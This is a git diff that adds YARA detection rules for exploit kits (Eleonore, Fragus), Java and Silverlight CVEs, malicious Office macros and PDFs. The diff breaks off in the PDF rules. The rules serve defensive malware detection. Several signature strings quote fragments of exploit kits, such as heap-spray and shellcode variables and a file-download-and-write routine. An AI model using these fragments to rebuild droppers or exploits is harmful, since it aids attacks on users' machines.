diff --git a/yara-mikesxrs/codewatchorg/cve_2013_0074.yar b/yara-mikesxrs/codewatchorg/cve_2013_0074.yar
new file mode 100644
index 0000000..fe6d0b6
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/cve_2013_0074.yar
@@ -0,0 +1,17 @@
+rule cve_2013_0074
+{
+meta:
+	author = "Kaspersky Lab"
+	filetype = "Win32 EXE"
+	date = "2015-07-23"
+	version = "1.0"
+
+strings:
+	$b2="Can't find Payload() address" ascii wide
+	$b3="/SilverApp1;component/App.xaml" ascii wide
+	$b4="Can't allocate ums after buf[]" ascii wide
+	$b5="------------ START ------------"
+
+condition:
+	( (2 of ($b*)) )
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/codewatchorg/cve_2013_0422.yar b/yara-mikesxrs/codewatchorg/cve_2013_0422.yar
new file mode 100644
index 0000000..1063df2
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/cve_2013_0422.yar
@@ -0,0 +1,21 @@
+rule CVE_2013_0422
+{
+        meta:
+                description = "Java Applet JMX Remote Code Execution"
+                cve = "CVE-2013-0422"
+                ref = "http://pastebin.com/JVedyrCe"
+                author = "adnan.shukor@gmail.com"
+                date = "12-Jan-2013"
+                version = "1"
+                impact = 4
+                hide = false
+        strings:
+                $0422_1 = "com/sun/jmx/mbeanserver/JmxMBeanServer" fullword
+                $0422_2 = "com/sun/jmx/mbeanserver/JmxMBeanServerBuilder" fullword
+                $0422_3 = "com/sun/jmx/mbeanserver/MBeanInstantiator" fullword
+                $0422_4 = "findClass" fullword
+                $0422_5 = "publicLookup" fullword
+                $class = /sun\.org\.mozilla\.javascript\.internal\.(Context|GeneratedClassLoader)/ fullword 
+        condition:
+                (all of ($0422_*)) or (all of them)
+}
diff --git a/yara-mikesxrs/codewatchorg/eleonore_jar.yar b/yara-mikesxrs/codewatchorg/eleonore_jar.yar
new file mode 100644
index 0000000..8fa07eb
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/eleonore_jar.yar
@@ -0,0 +1,26 @@
+rule eleonore_jar
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Eleonore Exploit Kit Detection"
+	hash0 = "ad829f4315edf9c2611509f3720635d2"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "r.JM,IM"
+	$string1 = "dev/s/DyesyasZ.classPK"
+	$string2 = "k4kjRv"
+	$string3 = "dev/s/LoaderX.class}V[t"
+	$string4 = "dev/s/PK"
+	$string5 = "Hsz6%y"
+	$string6 = "META-INF/MANIFEST.MF"
+	$string7 = "dev/PK"
+	$string8 = "dev/s/AdgredY.class"
+	$string9 = "dev/s/DyesyasZ.class"
+	$string10 = "dev/s/LoaderX.classPK"
+	$string11 = "eS0L5d"
+	$string12 = "8E{4ON"
+condition:
+	12 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/eleonore_jar2.yar b/yara-mikesxrs/codewatchorg/eleonore_jar2.yar
new file mode 100644
index 0000000..6aca137
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/eleonore_jar2.yar
@@ -0,0 +1,28 @@
+rule eleonore_jar2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Eleonore Exploit Kit Detection"
+	hash0 = "94e99de80c357d01e64abf7dc5bd0ebd"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "META-INF/MANIFEST.MFManifest-Version: 1.0"
+	$string1 = "wPVvVyz"
+	$string2 = "JavaFX.class"
+	$string3 = "{%D@'\\"
+	$string4 = "JavaFXColor.class"
+	$string5 = "bWxEBI}Y"
+	$string6 = "$(2}UoD"
+	$string7 = "j%4muR"
+	$string8 = "vqKBZi"
+	$string9 = "l6gs8;"
+	$string10 = "JavaFXTrueColor.classeSKo"
+	$string11 = "ZyYQx "
+	$string12 = "META-INF/"
+	$string13 = "JavaFX.classPK"
+	$string14 = ";Ie8{A"
+condition:
+	14 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/eleonore_jar3.yar b/yara-mikesxrs/codewatchorg/eleonore_jar3.yar
new file mode 100644
index 0000000..b9ab449
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/eleonore_jar3.yar
@@ -0,0 +1,26 @@
+rule eleonore_jar3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Eleonore Exploit Kit Detection"
+	hash0 = "f65f3b9b809ebf221e73502480ab6ea7"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "16lNYF2V"
+	$string1 = "META-INF/MANIFEST.MFPK"
+	$string2 = "ghsdr/Jewredd.classPK"
+	$string3 = "ghsdr/Gedsrdc.class"
+	$string4 = "e[<n55"
+	$string5 = "ghsdr/Gedsrdc.classPK"
+	$string6 = "META-INF/"
+	$string7 = "na}pyO"
+	$string8 = "9A1.F\\"
+	$string9 = "ghsdr/Kocer.class"
+	$string10 = "MXGXO8"
+	$string11 = "ghsdr/Kocer.classPK"
+	$string12 = "ghsdr/Jewredd.class"
+condition:
+	12 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/eleonore_js.yar b/yara-mikesxrs/codewatchorg/eleonore_js.yar
new file mode 100644
index 0000000..a2b53c5
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/eleonore_js.yar
@@ -0,0 +1,25 @@
+rule eleonore_js
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Eleonore Exploit Kit Detection"
+	hash0 = "08f8488f1122f2388a0fd65976b9becd"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "var de"
+	$string1 = "sdjk];"
+	$string2 = "return dfshk;"
+	$string3 = "function jkshdk(){"
+	$string4 = "'val';"
+	$string5 = "var sdjk"
+	$string6 = "return fsdjkl;"
+	$string7 = " window[d"
+	$string8 = "var fsdjkl"
+	$string9 = "function jklsdjfk() {"
+	$string10 = "function rewiry(yiyr,fjkhd){"
+	$string11 = " sdjd "
+condition:
+	11 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/eleonore_js2.yar b/yara-mikesxrs/codewatchorg/eleonore_js2.yar
new file mode 100644
index 0000000..9e0a1bd
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/eleonore_js2.yar
@@ -0,0 +1,29 @@
+rule eleonore_js2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Eleonore Exploit Kit Detection"
+	hash0 = "2f5ace22e886972a8dccc6aa5deb1e79"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "var dfshk "
+	$string1 = "arrow_next_down"
+	$string2 = "return eval('yiyr.replac'"
+	$string3 = "arrow_next_over"
+	$string4 = "arrow_prev_over"
+	$string5 = "xcCSSWeekdayBlock"
+	$string6 = "xcCSSHeadBlock"
+	$string7 = "xcCSSDaySpecial"
+	$string8 = "xcCSSDay"
+	$string9 = " window[df "
+	$string10 = "day_special"
+	$string11 = "var df"
+	$string12 = "function jklsdjfk() {"
+	$string13 = " sdjd "
+	$string14 = "'e(/kljf hdfk sdf/g,fjkhd);');"
+	$string15 = "arrow_next"
+condition:
+	15 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/eleonore_js3.yar b/yara-mikesxrs/codewatchorg/eleonore_js3.yar
new file mode 100644
index 0000000..a3055f9
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/eleonore_js3.yar
@@ -0,0 +1,31 @@
+rule eleonore_js3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Eleonore Exploit Kit Detection"
+	hash0 = "9dcb8cd8d4f418324f83d914ab4d4650"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "@mozilla.org/file/directory_service;1"
+	$string1 = "var exe "
+	$string2 = "var file "
+	$string3 = "foStream.write(data, data.length);"
+	$string4 = "  var file_data "
+	$string5 = "return "
+	$string6 = " Components.classes["
+	$string7 = "url : "
+	$string8 = "].createInstance(Components.interfaces.nsILocalFile);"
+	$string9 = "  var bstream "
+	$string10 = " bstream.readBytes(size); "
+	$string11 = "@mozilla.org/supports-string;1"
+	$string12 = "  var channel "
+	$string13 = "tmp.exe"
+	$string14 = "  if (channel instanceof Components.interfaces.nsIHttpChannel "
+	$string15 = "@mozilla.org/network/io-service;1"
+	$string16 = " bstream.available()) { "
+	$string17 = "].getService(Components.interfaces.nsIIOService); "
+condition:
+	17 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/fragus_htm.yar b/yara-mikesxrs/codewatchorg/fragus_htm.yar
new file mode 100644
index 0000000..e8f88da
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/fragus_htm.yar
@@ -0,0 +1,30 @@
+rule fragus_htm
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Fragus Exploit Kit Detection"
+	hash0 = "f76deec07a61b4276acc22beef41ea47"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = ">Hello, "
+	$string1 = "http://www.clantemplates.com"
+	$string2 = "this template was created by Bl1nk and is downloadable at <B>ClanTemplates.com<BR></B>Replace "
+	$string3 = "></TD></TR></TABLE> "
+	$string4 = "Image21"
+	$string5 = "scrollbar etc.<BR><BR>Enjoy, Bl1nk</FONT></TD></TR></TABLE><BR></CENTER></TD></TR> "
+	$string6 = "to this WarCraft Template"
+	$string7 = " document.getElementById) x"
+	$string8 = "    if (a[i].indexOf("
+	$string9 = "x.oSrc;"
+	$string10 = "x.src; x.src"
+	$string11 = "<HTML>"
+	$string12 = "FFFFFF"
+	$string13 = " CELLSPACING"
+	$string14 = "images/layoutnormal_03.gif"
+	$string15 = "<TR> <TD "
+	$string16 = " CELLPADDING"
+condition:
+	16 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/fragus_js.yar b/yara-mikesxrs/codewatchorg/fragus_js.yar
new file mode 100644
index 0000000..f346297
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/fragus_js.yar
@@ -0,0 +1,32 @@
+rule fragus_js
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Fragus Exploit Kit Detection"
+	hash0 = "f234c11b5da9a782cb1e554f520a66cf"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "));ELI6Q3PZ"
+	$string1 = "VGhNU2pWQmMyUXhPSFI2TTNCVGVEUXpSR3huYm1aeE5UaFhXRFI0ZFhCQVMxWkRNVGh0V0hZNFZVYzBXWFJpTVRoVFpFUklaVGxG"
+	$string2 = "eFgweDNaek5YZDFkaWFtTlhZbDlmV2tGa09Va3pSMlEyT0dwSFFIQlZRblpEYzBKRWNFeGZOVmx6V0RSU1JEYzJjRlY0TVY5SFkw"
+	$string3 = "TkhXa0ZrT1haNGRFSXhRM3BrTkRoVGMxZEJSMmcyT0dwNlkzSTJYM1pCYkZnMVVqQmpWMEZIYURZNGFucGpjalpmZGtGc1dERXpT"
+	$string4 = "byKZKkpZU<<18"
+	$string5 = ");CUer0x"
+	$string6 = "bzWRebpU3yE>>16"
+	$string7 = "RUJEWlVvMGNsVTVNMEpNWDNaNGJVSkpPRUJrUlVwRVQwQlNaR2cyY0ZWSE5GbDBRVFZ5UjFnMk9HVldOWGhMYUdFelRIZG5NMWQz"
+	$string8 = "WnZSVGxuT1ZSRkwwaFZSelZGUm5GRlJFVTBLVHQ0UWxKQ1drdzBiWEJ5WkhSdVBtdG9XVWd6TVVGSGFFeDVTMlk3ZUVKU1FscE1O"
+	$string9 = "QmZjMGN4YjBCd1oyOXBURUJJZEhvMFdYcGtOamhFV1ZwU01GVlZZbXBpUUZKV1lqTXpWMDAwY0dSNlF6aE1SekZ5ZEc4ME9FeEtN"
+	$string10 = "SCpMaWXOuME("
+	$string11 = "VjJKcVkxZGlYMTlhUVdRNVNUTkhaRFk0YWpsYWJsWkRNVGh0V0hZNFZVYzBXWFJ2Tm5CVmFEUlpWVmhDT0ZWV05YaDBRa1ZTUkUw"
+	$string12 = "2;}else{Yuii37DWU"
+	$string13 = "ELI6Q3PZ"
+	$string14 = "ZUhNNVZYQlZlRFY0UUZnMk9HMVlORkpFYkRsNGMxbEpPRUJSTVY5SGNETllPRXB0YjBsaloySnhPVVZ3UkZWQVgzTllORGgwV0RS"
+	$string15 = "S05GbE1lalk0Vm1ORmVEWnpXbEpXZDBWaU5ubzJjRlkzVjFsbFgwVmlURlpuYnpCUE5HNTBhRFpaVEZrMVFYTjZObkIwWTBVNE4x"
+	$string16 = "Vm5CWFFVZG9OamhxZW1OeU5sOTJRV3hZTVROSlpEWTRVM294V1VSUFFFdFdZalE0WlVjeGNsSmtObmhBYURVNFZVZEFjRlZDZGtO"
+	$string17 = "Yuii37DWU<<12"
+	$string18 = ";while(hdnR9eo3pZ6E3<ZZeD3LjJQ.length){eMImGB"
+condition:
+	18 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/fragus_js2.yar b/yara-mikesxrs/codewatchorg/fragus_js2.yar
new file mode 100644
index 0000000..324b484
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/fragus_js2.yar
@@ -0,0 +1,31 @@
+rule fragus_js2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Fragus Exploit Kit Detection"
+	hash0 = "f234c11b5da9a782cb1e554f520a66cf"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "(ELI6Q3PZ"
+	$string1 = "SnJTbVJqV2tOa09VbGZSMHcwY0ZWZmRrRjBjRFY0Y3psVmNGVjROWGhBV0RZNGJWZzBVa1J4TjNCVlgwVmlhRjkyZURaS1NWOUhj"
+	$string2 = "eFgweDNaek5YZDFkaWFtTlhZbDlmV2tGa09Va3pSMlEyT0dwSFFIQlZRblpEYzBKRWNFeGZOVmx6V0RSU1JEYzJjRlY0TVY5SFkw"
+	$string3 = "VUpKUVdWS05ISlZjMXBTTUdWRlNFQmpaMjlrVDBCTFYzY3pZbGRpZG5oeldFUndkSE16YjB4M2JXSnFZMWRpZVY4ellreDNaMko1"
+	$string4 = "((Yuii37DWU"
+	$string5 = "YURVNFZXUlhjRlZDZGxsQVJ6UlNaRTlBUzFkM00ySlhiekU0ZEhnMWNrUjZZM0kyWDNaQmJGZ3hNMGxrTmpoVGVqRlpkSEUyV1dW"
+	$string6 = "String.fromCharCode(ZZeD3LjJQ);}else if(QIyZsvvbEmVOpp"
+	$string7 = "1);ELI6Q3PZ"
+	$string8 = "));Yuii37DWU"
+	$string9 = ");CUer0x"
+	$string10 = "T1ZaQ05IUkRTVGhqT1VWd1ZWOUpRMlZLZG5oNlQwQkxWM2N6WWxkQmRrRkFPVmR3VlRsYWJsWnNOWGhKT1ZkeFZWazFRbEU1UlZK"
+	$string11 = "TlpkM2wxS3lzcExUUTRYU2s4UEhocFVqRk9jazA3SUdsbUtIaHBVakZPY2swcGV5QkdWek5NVnlzOVVrSklWVE0wVDJ0NlpTZzJP"
+	$string12 = "String.fromCharCode(((eMImGB"
+	$string13 = "RGRDUkV0WFV6VkJkRkV4WHpCalYwRkhhRFk0YW5wamNqWmZka0ZzV0RaSWExZzBXWEZDUlZsQVpEWkJOMEoyZUhwd1duSlRXVE5J"
+	$string14 = "SCpMaWXOuME(mi1mm8bu87rL0W);eval(Pcii3iVk1AG);</script></body></html>"
+	$string15 = "Yuii37DWU"
+	$string16 = "Yuii37DWU<<12"
+	$string17 = "eTVzWlc1bmRHZ3NJRWhWUnpWRlJuRkZSRVUwUFRFd01qUXNJR2hQVlZsRVJFVmxVaXdnZUVKU1FscE1ORzF3Y21SMGJpd2dSbGN6"
+condition:
+	17 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/fragus_js_flash.yar b/yara-mikesxrs/codewatchorg/fragus_js_flash.yar
new file mode 100644
index 0000000..9096323
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/fragus_js_flash.yar
@@ -0,0 +1,29 @@
+rule fragus_js_flash
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Fragus Exploit Kit Detection"
+	hash0 = "377431417b34de8592afecaea9aab95d"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "document.appendChild(bdy);try{for (i"
+	$string1 = "0; i<10; i"
+	$string2 = "default"
+	$string3 = "var m "
+	$string4 = "/g, document.getElementById('divid').innerHTML));"
+	$string5 = " n.substring(0,r/2);"
+	$string6 = "document.getElementById('f').innerHTML"
+	$string7 = "'atk' onclick"
+	$string8 = "function MAKEHEAP()"
+	$string9 = "document.createElement('div');"
+	$string10 = "<button id"
+	$string11 = "/g, document.getElementById('divid').innerHTML);"
+	$string12 = "document.body.appendChild(gg);"
+	$string13 = "var bdy "
+	$string14 = "var gg"
+	$string15 = " unescape(gg);while(n.length<r/2) { n"
+condition:
+	15 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/fragus_js_java.yar b/yara-mikesxrs/codewatchorg/fragus_js_java.yar
new file mode 100644
index 0000000..304f048
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/fragus_js_java.yar
@@ -0,0 +1,31 @@
+rule fragus_js_java
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Fragus Exploit Kit Detection"
+	hash0 = "7398e435e68a2fa31607518befef30fb"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "I></XML><SPAN DATASRC"
+	$string1 = "setTimeout('vparivatel()',8000);function vparivatel(){document.write('<iframe src"
+	$string2 = "I DATAFLD"
+	$string3 = " unescape("
+	$string4 = ", 1);swf.setAttribute("
+	$string5 = "function XMLNEW(){var spray "
+	$string6 = "vparivatel.php"
+	$string7 = "6) ){if ( (lv"
+	$string8 = "'WIN 9,0,16,0')"
+	$string9 = "d:/Program Files/Outlook Express/WAB.EXE"
+	$string10 = "<XML ID"
+	$string11 = "new ActiveXObject("
+	$string12 = "'7.1.0') ){SHOWPDF('iepdf.php"
+	$string13 = "function SWF(){try{sv"
+	$string14 = "'WIN 9,0,28,0')"
+	$string15 = "C DATAFORMATAS"
+	$string16 = " shellcode;xmlcode "
+	$string17 = "function SNAPSHOT(){var a"
+condition:
+	17 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/fragus_js_quicktime.yar b/yara-mikesxrs/codewatchorg/fragus_js_quicktime.yar
new file mode 100644
index 0000000..bdc4365
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/fragus_js_quicktime.yar
@@ -0,0 +1,29 @@
+rule fragus_js_quicktime
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Fragus Exploit Kit Detection"
+	hash0 = "6bfc7bb877e1a79be24bd9563c768ffd"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "                setTimeout("
+	$string1 = "wnd.location"
+	$string2 = "window;"
+	$string3 = "        var pls "
+	$string4 = "        mem_flag "
+	$string5 = ", 1500);} else{ PRyyt4O3wvgz(1);}"
+	$string6 = "         } catch(e) { }"
+	$string7 = " mem_flag) JP7RXLyEu();"
+	$string8 = " 0x400000;"
+	$string9 = "----------------------------------------------------------------------------------------------------"
+	$string10 = "        heapBlocks "
+	$string11 = "        return mm;"
+	$string12 = "0x38);"
+	$string13 = "        h();"
+	$string14 = " getb(b,bSize);"
+	$string15 = "getfile.php"
+condition:
+	15 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/fragus_js_vml.yar b/yara-mikesxrs/codewatchorg/fragus_js_vml.yar
new file mode 100644
index 0000000..e9c69b2
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/fragus_js_vml.yar
@@ -0,0 +1,28 @@
+rule fragus_js_vml
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Fragus Exploit Kit Detection"
+	hash0 = "8ab72337c815e0505fcfbc97686c3562"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = " 0x100000;"
+	$string1 = "            var gg "
+	$string2 = "/g, document.getElementById('divid').innerHTML));"
+	$string3 = "                                var sss "
+	$string4 = "                }"
+	$string5 = "                        document.body.appendChild(obj);"
+	$string6 = "                                var hbs "
+	$string7 = " shcode; }"
+	$string8 = " '<div id"
+	$string9 = " hbs - (shcode.length"
+	$string10 = "){ m[i] "
+	$string11 = " unescape(gg);"
+	$string12 = "                                var z "
+	$string13 = "                                var hb "
+	$string14 = " Math.ceil('0'"
+condition:
+	14 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/malicious_office.yar b/yara-mikesxrs/codewatchorg/malicious_office.yar
new file mode 100644
index 0000000..6a8dd90
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/malicious_office.yar
@@ -0,0 +1,145 @@
+rule maldoc_indirect_function_call_1 : maldoc
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {FF 75 ?? FF 55 ??}
+    condition:
+        for any i in (1..#a): (uint8(@a[i] + 2) == uint8(@a[i] + 5))
+}
+
+rule maldoc_indirect_function_call_2 : maldoc
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ??}
+    condition:
+        for any i in (1..#a): ((uint8(@a[i] + 2) == uint8(@a[i] + 8)) and (uint8(@a[i] + 3) == uint8(@a[i] + 9)) and (uint8(@a[i] + 4) == uint8(@a[i] + 10)) and (uint8(@a[i] + 5) == uint8(@a[i] + 11)))
+}
+
+rule maldoc_indirect_function_call_3 : maldoc
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {FF B7 ?? ?? ?? ?? FF 57 ??}
+    condition:
+        $a
+}
+
+rule maldoc_find_kernel32_base_method_1 : maldoc
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {64 8B (05|0D|15|1D|25|2D|35|3D) 30 00 00 00}
+        $a2 = {64 A1 30 00 00 00}
+    condition:
+        any of them
+}
+
+rule maldoc_find_kernel32_base_method_2 : maldoc
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {31 ?? ?? 30 64 8B ??}
+    condition:
+        for any i in (1..#a): ((uint8(@a[i] + 1) >= 0xC0) and (((uint8(@a[i] + 1) & 0x38) >> 3) == (uint8(@a[i] + 1) & 0x07)) and ((uint8(@a[i] + 2) & 0xF8) == 0xA0) and (uint8(@a[i] + 6) <= 0x3F) and (((uint8(@a[i] + 6) & 0x38) >> 3) != (uint8(@a[i] + 6) & 0x07)))
+}
+
+rule maldoc_find_kernel32_base_method_3 : maldoc
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {68 30 00 00 00 (58|59|5A|5B|5C|5D|5E|5F) 64 8B ??}
+    condition:
+        for any i in (1..#a): (((uint8(@a[i] + 5) & 0x07) == (uint8(@a[i] + 8) & 0x07)) and (uint8(@a[i] + 8) <= 0x3F) and (((uint8(@a[i] + 8) & 0x38) >> 3) != (uint8(@a[i] + 8) & 0x07)))
+}
+
+rule mwi_document: exploitdoc maldoc
+{
+    meta:
+        description = "MWI generated document"
+        author = "@Ydklijnsma"
+        source = "http://blog.0x3a.com/post/117760824504/analysis-of-a-microsoft-word-intruder-sample"
+
+      strings:
+        $field_creation_tag = "{\\field{\\*\\fldinst { INCLUDEPICTURE"
+        $mwistat_url = ".php?id="
+        $field_closing_tag = "\\\\* MERGEFORMAT \\\\d}}{\\fldrslt}}"
+
+    condition:
+        all of them
+}
+
+rule macrocheck : maldoc
+{
+    meta:
+        Author      = "Fireeye Labs"
+        Date        = "2014/11/30" 
+        Description = "Identify office documents with the MACROCHECK credential stealer in them.  It can be run against .doc files or VBA macros extraced from .docx files (vbaProject.bin files)."
+        Reference   = "https://www.fireeye.com/blog/threat-research/2014/11/fin4_stealing_insid.html"
+
+    strings:
+        $PARAMpword = "pword=" ascii wide
+        $PARAMmsg = "msg=" ascii wide
+        $PARAMuname = "uname=" ascii
+        $userform = "UserForm" ascii wide
+        $userloginform = "UserLoginForm" ascii wide
+        $invalid = "Invalid username or password" ascii wide
+        $up1 = "uploadPOST" ascii wide
+        $up2 = "postUpload" ascii wide
+ 
+    condition:
+        all of ($PARAM*) or (($invalid or $userloginform or $userform) and ($up1 or $up2))
+}
+
+rule Office_AutoOpen_Macro : maldoc {
+	meta:
+		description = "Detects an Microsoft Office file that contains the AutoOpen Macro function"
+		author = "Florian Roth"
+		date = "2015-05-28"
+		score = 60
+		hash1 = "4d00695d5011427efc33c9722c61ced2"
+		hash2 = "63f6b20cb39630b13c14823874bd3743"
+		hash3 = "66e67c2d84af85a569a04042141164e6"
+		hash4 = "a3035716fe9173703941876c2bde9d98"
+		hash5 = "7c06cab49b9332962625b16f15708345"
+		hash6 = "bfc30332b7b91572bfe712b656ea8a0c"
+		hash7 = "25285b8fe2c41bd54079c92c1b761381"
+	strings:
+		$s1 = "AutoOpen" ascii fullword
+		$s2 = "Macros" wide fullword
+	condition:
+		uint32be(0) == 0xd0cf11e0 and all of ($s*) and filesize < 300000
+}
+
+rule Embedded_EXE_Cloaking : maldoc {
+    meta:
+        description = "Detects an embedded executable in a non-executable file"
+        author = "Florian Roth"
+        date = "2015/02/27"
+        score = 80
+    strings:
+        $noex_png = { 89 50 4E 47 }
+        $noex_pdf = { 25 50 44 46 }
+        $noex_rtf = { 7B 5C 72 74 66 31 }
+        $noex_jpg = { FF D8 FF E0 }
+        $noex_gif = { 47 49 46 38 }
+        $mz  = { 4D 5A }
+        $a1 = "This program cannot be run in DOS mode"
+        $a2 = "This program must be run under Win32"       
+    condition:
+        (
+            ( $noex_png at 0 ) or
+            ( $noex_pdf at 0 ) or
+            ( $noex_rtf at 0 ) or
+            ( $noex_jpg at 0 ) or
+            ( $noex_gif at 0 )
+        )
+        and
+        for any i in (1..#mz): ( @a1 < ( @mz[i] + 200 ) or @a2 < ( @mz[i] + 200 ) )
+}
diff --git a/yara-mikesxrs/codewatchorg/malicious_pdf.yar b/yara-mikesxrs/codewatchorg/malicious_pdf.yar
new file mode 100644
index 0000000..f1e699c
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/malicious_pdf.yar
@@ -0,0 +1,456 @@
+rule malicious_author : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 5
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		
+		$reg0 = /Creator.?\(yen vaw\)/
+		$reg1 = /Title.?\(who cis\)/
+		$reg2 = /Author.?\(ser pes\)/
+	condition:
+		$magic at 0 and all of ($reg*)
+}
+
+rule suspicious_version : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 3
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$ver = /%PDF-1.\d{1}/
+	condition:
+		$magic at 0 and not $ver
+}
+
+rule suspicious_creation : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 2
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$header = /%PDF-1\.(3|4|6)/
+		
+		$create0 = /CreationDate \(D:20101015142358\)/
+		$create1 = /CreationDate \(2008312053854\)/
+	condition:
+		$magic at 0 and $header and 1 of ($create*)
+}
+
+rule suspicious_title : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 4
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$header = /%PDF-1\.(3|4|6)/
+		
+		$title0 = "who cis"
+		$title1 = "P66N7FF"
+		$title2 = "Fohcirya"
+	condition:
+		$magic at 0 and $header and 1 of ($title*)
+}
+
+rule suspicious_author : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 4
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$header = /%PDF-1\.(3|4|6)/
+
+		$author0 = "Ubzg1QUbzuzgUbRjvcUb14RjUb1"
+		$author1 = "ser pes"
+		$author2 = "Miekiemoes"
+		$author3 = "Nsarkolke"
+	condition:
+		$magic at 0 and $header and 1 of ($author*)
+}
+
+rule suspicious_producer : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 2
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$header = /%PDF-1\.(3|4|6)/
+		
+		$producer0 = /Producer \(Scribus PDF Library/
+		$producer1 = "Notepad"
+	condition:
+		$magic at 0 and $header and 1 of ($producer*)
+}
+
+rule suspicious_creator : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 3
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$header = /%PDF-1\.(3|4|6)/
+		
+		$creator0 = "yen vaw"
+		$creator1 = "Scribus"
+		$creator2 = "Viraciregavi"
+	condition:
+		$magic at 0 and $header and 1 of ($creator*)
+}
+
+rule possible_exploit : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 3
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		
